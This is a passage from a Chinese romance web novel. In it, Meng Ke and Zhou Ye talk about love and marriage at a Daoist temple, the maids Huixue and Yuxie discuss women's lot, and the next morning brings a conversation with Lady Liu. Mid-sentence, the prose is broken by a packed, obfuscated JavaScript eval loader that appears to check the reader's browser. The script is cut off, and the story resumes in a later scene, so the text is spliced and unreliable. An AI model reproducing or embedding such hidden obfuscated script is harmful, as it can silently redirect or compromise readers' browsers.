“尤其是我长大之后，看到世间男子都是什么样，世间夫妻又都是什么样，就……更怕了。” 他看着她，脸上带着一种与年纪不符的苍凉道，“白头偕老看似不那么难，可细究起来，大多都是为了利益而强行绑在一起，不死不休罢了。富贵人家为利，穷苦人家为搭伙过日子，夫妇二人就算彼此恨得牙痒痒的，也要咬牙过下去。就算曾经是万中无一的恩爱夫妻，也会一朝情尽，怨怼渐起……” 他转头去看桌上的烛火，笑道，“哪怕是最真挚的感情，放进家宅之中，就像将这烛火放入一个密不透风的黑箱，随着时间流逝，注定熄灭。若是不放进去，虽也有油尽灯枯之时，但到底能燃得更久些。” 孟珂看看他，又看看山风中摇曳的烛火。 她没法反驳他，也不想反驳。她虽然没看到父母的感情在家宅之中熄灭，但也许是还没来得及，便都去了。 两人一时都没说话，只那火光随风摇曳在两对各自深沉的眼眸中。 半晌，孟珂笑着看他，道：“不过，我们其实都是幸运的。至少，在这个无论穷富贵贱都是为了利来益往的世间，我们都是那万中无一。我们都生在了父母有情的家里，见过夫妻和美的样子。就算它们最终会在家宅中被熄灭，或被忽如其来的狂风吹灭！起码我们还见证过那样的存在。” “但是，你可想过，”周冶转眸看她，“如果不爱，也就不会失望，乃至绝望。” 他扫了一眼夜色中的道观，“不会心如死灰，不会活着也若死了。” 128. 破碎 孟珂是个心胸开阔疏朗之人，即便想着周冶是因为湖上那夜的事，才同她说这些，或许也有划清界限之意，但也并未因此气恼。 一来，她并没有心思去想男女之情，同周冶之间的一切乃情之所至，些许越池，自觉可进可退，也未尝肖想过未来。便如周冶说柳夫人的，见了自是欢喜，不见也不执着。她早炼得身在红尘，心如青灯古佛。 二来，她也看得分明，无论目的是什么，今夜说的这些，都是他的发自肺腑之言，否则，无需带她到此处，见他母亲。便是他真有什么弯弯肠子，他母亲柳夫人也不会纵他。 于是，周冶说着这些的时候，她也跳脱出来，仿佛两人之间从未有过任何情愫，只是两个坦诚相待之人，单纯地探讨这些。 于是，听了周冶那话，她想了想，认真地点头道：“不要爱，也不要利益，也许是可以平常心地一辈子。可是，” 她面上泛起些经年隔世的沧桑与释然后的平和，用一种过来人的目光，看着周冶，道，“什么都不要的人生，就一定好吗？” 世人太多欲求，便以为无欲无求便没烦恼，便能开心了。可真正失去过欲求的人，才知道那跟开心没什么关系，而是一潭死水，可活活憋闷死人的那种。 那样的日子，便如身处传说中的极北雪原，空无一人，踽踽独行，满目空茫；心沉似铁，怎么也提不起来，身子也一日日跟着往下坠，莫名沉，莫名重。只那彻骨的寒冷，凛冽如刀的厉风，还能提醒着你，你还是个活人。 若无慧根或极高的定性，还是当有苦有乐的俗世中人，更容易些，也轻松些。 想到这些，她不免觉得，自己这些年虽处冰雪之境，却还有一湖碧水，得存生机，实在是不幸之中的幸运。 她长长地舒了口气，轻轻地道：“无所求的关系，又真的就纯粹吗？名利是所求，最简单的陪伴也是。世间大多数事情，就同大多数人一样，都是经不起推敲细想细瞧的。有道是，灯下看美人，犹胜三分色。看得太清楚，心里反而会……太过寂寥。” 周冶听她说着，不由转眸去看，在她面上看见了那种与母亲相似的超然，看尽世间的寂寥，还有些无奈，就连她此刻看自己的目光，也带了些母亲看他的悲悯慈和。 他突地有些紧张，母亲已经如纸鸢一般，虽还有那根母子之情的线拽着，可到底是离他远去了，不如其他母子般烟火温暖。此刻看着孟珂，他实在不愿这幸而再得的尘世温暖，再次飘飘悠悠地乘风远去。 孟珂见他眸光急转，似触动心上深处旧伤，忙摆手道：“我不是想劝你，不成亲没什么不好……” “我知道。”周冶急急拦住了她道，“你不是想劝我。” 他咬了咬唇，像是暗暗下了什么决心，定定地看着她道，“其实，我想同你说的是，我的想法已经不知不觉间变了。” 孟珂摇头笑道：“你也不用逼自己…..” “不是逼。”周冶打断她，一字一顿地道，“是我想要，试试。” 见孟珂脸上升起的疑惑，他笑了笑，流露出一抹自得之色，道：“我这人有一点好，就是从不为难自己！想自己一个人一辈子的时候，便一个人；可等想要一个人了，也不拦着自己，那便去要。” 孟珂听出那话中之意，但本以为他是要澄清，陡然话锋这么一转，深深地看着自己，说出这话，倒是让她微微意外了。 周冶没理会她的意外，望向苍茫夜空，继续道，“就像这样，同你坐在一起的时候，我常常会想到以后，常常不自觉地会看到一些画面。” 他心中涌起一股温热的暖流，嘴角也不自觉噙上温暖笑意，“我会看到很多很多年之后的样子，我们都老了，还在一起，像这样坐在彼此身边，一起品茶喝酒，一起上可谈家国，下可说琐事。就像我赖在熹园的时候，像你在衙门住的时候。” “我发现我慢慢地……喜欢上了那种日子。不知不觉间，有什么东西就将过去盘踞在心中的恐惧，慢慢消解了。” 孟珂看着他的侧脸，听他说着这些话，心中不是没有悸动。不，不只是悸动，她很开心，从心底弥漫上一种温柔的喜悦，如水一般，柔柔地荡漾在心间，拍打着她心口的堤岸。 原来，他们一起那般坐着，说话的时候，乃至不说话的时候，他脑中居然想到了那些。她自己真真从未想过，也许是脑子根本不让自己去想，也许是不敢去想。 他说了这些剖心之语，她觉得自己该说些什么，却又不知该说什么，迟疑道：“我……” 见她脸上难得一见的些许无措，周冶半低下头，笑了笑。他就知道，湖上那一夜，她不过是一瞬的放纵，却不会容许自己放纵下去。 不过，我不是卢宽，不会永远默默地站在身边，只是眼巴巴地看着你，等着你哪一日或许会改变想法。 他抬眸看向她，我会让你改变想法。 他深呼吸了一下，用轻松但是认真的神色道：“你不用为难。今日我说这些，不是要你现在回应什么，甚至决定什么。我只是想让你知道，我从自己设的樊笼走了出来，发现并不像过去想象中那般害怕，反而觉得天地为之一宽。故而，希望你也能试试。不是为我，而是为了你自己。” “有的人是想法变了，便那么变了，不会强力抵抗，就像我。而有的人非得自己先想明白了，才能去接受，你便是这样的人。“ “你太理智，太目标明确，太意志坚定，哪怕想法它自己改了，你也会将它强行掰回来。不，你甚至根本都不会容许自己的想法肆意奔腾，见个苗头，便会出手，将其收拢归流。” “我只希望，你下次发现它们有自己方向的时候，能试着放放手，相信它们，让它们寻找自己的路。” 周冶顿了顿，道，“哪怕，它奔向的那个人不是我；而是卢宽，或是别的什么王宽，李宽，都好。” *** “我......我相信你。”良久，孟珂看着他，认真地道。 随即自嘲地笑道，“我不信的，是我自己。” 只是承担自己，就已经够不容易了。 她父亲也曾是个深情的郎君，可靠的夫君，给妻女撑起一片天的父亲。可这样的天说塌也就塌了。无论她还是母亲，都承受不住那样的坍塌。她强撑了一次，但已经承受不住第二次。 孟珂目光中难得地透出迷茫，不知看向空茫中的何处：“我……没有想过以后。” “我知道。”周冶道，“你闲来的时候可以想想，也可以以后再想。我只是想让你知道我的心意，也希望你知道，前面的路，有人可以陪你一起走。你无需分心。我不会耽误你什么，而你是多了一个帮手。” “不，不是的。”孟珂轻轻摇着头，“不是现在还是以后，不是我的事了，还是未了的问题。我该怎么同你说呢。” 她想了想，始终挂着的自嘲中带起一种凄楚，点着头承认道，“你说的没错。我根本不会容许自己的想法肆意奔流。所谓的情绪、感情这种东西，早就被我一寸寸检查，再一缕缕挤出去了。” 她抬手抚在心口，语气依然平静，声音也轻，却是从最最要命的地方，掀开了自己，“我这个人，早就被剥离了血肉，就剩了一副骨头架子而已。而这个光架子，能走到哪天都不一定。我这个人……早就碎得不成样子。午夜梦回的时候，连我自己都不知道，我是谁；不知道如今的我是什么人，明日的我会做出什么事……” 她可以把自己掰开揉碎，搓圆捏扁，变成任何需要的样子。而这样一个破碎的她，连自己都担不起，又何谈去承担别人，去接住别人真挚的感情和深沉的期望？ 她说着，垂下眼眸，正好瞥见一旁桌上的花笺，抽了一张出来，放在眼前，慢慢地撕出一条条碎纸，掉落桌上，然后两手一拢，推向周冶。 “这，便是我！” 周冶看着桌上那碎纸，点着头道：“是，你很会把自己变个样子。初识之时，我也会想，你说的话，做的事，哪些是真的，哪些是假的。我也会想，这样一个智计无双，还善变会演的女人，会不会糊弄欺骗我……放个这样的你在身边，会不会需要成日斗智斗勇，会不会太累。” 周冶抬眸看她，“不过，后来就我不担心了。” 孟珂疑惑地看着他。见他拿起手，放在自己心口，深深地看着她道：“因为这里知道，这里不用分辩，这里清楚知道你是什么样子。” 孟珂笑笑，似乎在说，连我自己都不知道，你如何知道？ 周冶眸光真挚，凝视着她，像要通过眼神说服她道：“就算你的心久经摧折，脆薄如纸；就算早被命运撕碎，你依然是你，独一无二的你。那一切皆可能的，就是真实的你。” 他那灼人的目光，落在自己眼里，孟珂突然发现，自己那绝不会溢出一抔水的堤坝，竟一道道裂开了缝隙中，不，是早就有了缝隙，再让他今夜这么直接来袭，竟有了摇摇欲倾圮之势。 她忙一扭头躲开了他的视线，急急慌慌地起身，嗫嚅道：“我……天晚了，我先回去歇息了。” 说完，便转身而去，开始还压着脚步，越来越急，到门口便如逃跑般的，疾步开门进去，关上了房门，随后便靠在门上，慢慢滑了下去，颓坐在了地上。 周冶见她急走，忙也起身，伸手想拦，但终究什么也没说，放下手来，只是看着那紧闭的房门，站了许久，也不知过了多久，才讪讪地笑了笑，慢慢垂下了头。 恰此时，一阵风来，将桌上的纸吹下。他忙追上，将四散的纸条捡了起来，珍视地拢在手中。 *** 亭外的姐妹二人，见此场景，也呆了一瞬。 回雪回过神来，本能地便抽身要走，想回房去看小姐，却被雨歇一把拉住了：“姐姐，这时候还是让小姐自己呆一呆吧。” 回雪一想，倒是雨歇说的是，止住了脚步。 雨歇难得叹了口气，看向亭中捧着碎纸而站的周冶，有些不忍心地道：“如周大人这样的，也是豪赌吗？” 回雪也看了看周冶，又看了看紧闭的房门，叹息道：“同为高门显贵，女儿家也是吃亏的。能不能过好，得看女子的手段，更要看男人的人品。” 又补了一句，“还有运气。” 若非如此，她们今夜怎会在这观中。瞧了柳夫人，有几个清醒的女子敢说自己一定能赌赢？ 雨歇未免想起姐姐前日说的那些话，心上升起疑惑，道：“非得女子依靠男子吗，不能相互依靠呢？有时，你依靠人；有时，人依靠你呢？” 回雪怜爱地看了妹妹一眼，笑道：“单从理上来说，原该如此。” 却又叹了口气，道，“可那些郎君，比女子强在哪里，又哪堪为依靠？单看看咱们打小见着的亲戚、邻里，再看看那些高门大户，那闯祸生事的是郎君还是女子；那上侍奉公婆，下教养子女，顶门立户、管家理事的，是郎君还是女子？你以为找个归宿，找个遮风挡雨的人，找个商量的人，彼此依靠的人，焉知找的不是火坑，不是包袱，不是风雨。” 雨歇点点头：“好像也是。” 至少，在她所剩无几的记忆里，父亲便只会空吆喝，家里家外全靠母亲带着她们姐妹撑持。 回雪也知道妹妹想到了什么，不由也感慨起来，嘲讽地笑道：“认真论起来，男女生来就大有区别。女子想找的是依靠，而男子想找的却是为他操持家宅，伺候老小之人。至于他不管家里，还要拈花惹草，也是男子‘从来如是’。无人会责怪男子，只让女子接受忍耐，还要怪女子妒忌，怪你不能留着自家郎君。” 她看了妹妹一眼，长叹道，“这男子啊，生来便是那收债的。而女子，像是来还债的。父母兄弟等着你还，儿女子孙等着你还，便是你一分不曾欠过的夫君和婆家，也等着你替他们儿子还。” “女子的一辈子，便是为他人辛苦他人奔忙。若是生在好人家，出嫁前还能有几年做女儿的好日子；若是生在那不好的人家，便一辈子都在还那……压根儿不知从何欠的债了。” 雨歇也让姐姐说得心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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闲聊之间，她未敢碰那些话题，倒是柳夫人自己毫无避讳地同她讲起周冶儿时的趣事，提及夫君也并无避讳，面上甚至没有丝毫怨怼，不明内里的人，还只当他们是和美夫妻。 见她这般坦然，孟珂才斟酌着含糊问了一话：“夫人，若是时光可逆，可重活一回，你当如何？” 柳夫人闻言，驻足看着她，目光含着温煦的笑，淡淡地道：“只四个字，唯‘顺其自然’而已。无需违逆本心，也无需强求些什么。” 她脸上终究让回忆荡起了些涟漪，望向东方的云霞，“人年轻的时候，难免心气高。若出身好些，再生得好些，还有些能耐，便总想着我要什么，我想怎样，总希望一切都围着自己想法转，也就容易较劲。” 带着些自嘲，又有些怀念，她垂眸浅浅地笑道，“那个年纪，总觉得顺其自然是懒散无能者的借口。等经历了许多事，才知道这四个字真正的含义。” 她抬眼看向远方，舒了一口气道，“人在世间，便如舟行海上。人本不应该，也无法与风浪相搏。便是要做什么事，也需看得见风起，看得见浪来，知道如何随其波，逐其流，借势而行，方可久行于海上。” 她笑着看向身旁那年轻的面庞，意味深长地道，“观世间事，如是；内观自己，亦如是。” 人本不应该，也无法与风浪相搏，需看得见风起，看得见浪来，知道如何随波逐流……孟珂琢磨着她这话，只觉况味无穷。 “母亲！” 孟珂正品味着，便听见周冶的声音，想到昨夜，不免有了一瞬的局促，可不好让柳夫人看出异样，硬着头皮，转身迎上。 一转头，便见苍翠的庭园，男子一身白衣，朝她这边走来，亭亭如鹤。明亮的阳光自树叶间洒下，一束光正好落在他肩头，照亮他那俊美的脸，有种荡人心魄的好看。 柳夫人一眼看出二人之间的微妙，含笑道：“我正要去做早课。冶儿，你便代我，带孟姑娘四处走走。” 走出一步，又回头补了一句，“稍后你们回京，我就不送你们了。” 孟珂乘机道过叨扰，二人便目送她离开。 周冶回头看着孟珂，笑道：“我母亲很喜欢你。” “你母亲她，很好。”孟珂同时道。 两人相视一眼，都笑了。 “其实，你有些像她。”周冶马上改口道，“不，应该说是很像她。” 都清冷坚强，有些冷冷淡淡的哀而不伤；还都有慧根灵性，于是便有些不易察觉的遗世独立的傲气。 孟珂很喜欢柳夫人，这话听来，便比什么夸赞听着都高兴。 周冶看着母亲的身影，也欣慰地绽开笑来，不由叹道：“这几年，她好了很多。” “之前不好？”孟珂转头看他，疑惑道。 周冶苦笑了笑：“最初那些年，还是很……挣扎过。” 孟珂不由又看向了那个渐渐看不见的身影。天生的超凡脱俗的确令人艳羡，但后天的修炼蜕变，才更让人敬佩，赞叹道：“那……她能修到如今这样，倒更弥足珍贵了。” 周冶收回目光，看着她，道：“她能走出来，你也可以。你只要走过去，那些事情便被留在了身后。” 孟珂闻言心弦一动，同时也恍然，难怪他能想到带自己去崖边，做出那些举动，原来都是来自柳夫人。 两人借着柳夫人的话题说了下去，仿佛昨夜的一切没有发生过一样，在观中好好走了走，观赏一番，便回去整装出发了。 一路快马疾驰，眼看城门在望，开始听得官道上的行人都在议论指点着什么。 雨歇从马车里伸出头一看，原来是城楼之上，高高站着一名锦衣青年。那青年玉面皎皎，风姿卓然，吸引了不少人指点，有猜度家世身份的，也有仰慕其风姿的。 “是二公子！” 雨歇眼力极好，一眼认了出来，回头对车内的回雪笑道，“都迎到城门口来了，还真是一刻也不想耽误呢！也不知多早晚就来等了，没准儿昨儿一夜都没睡着。”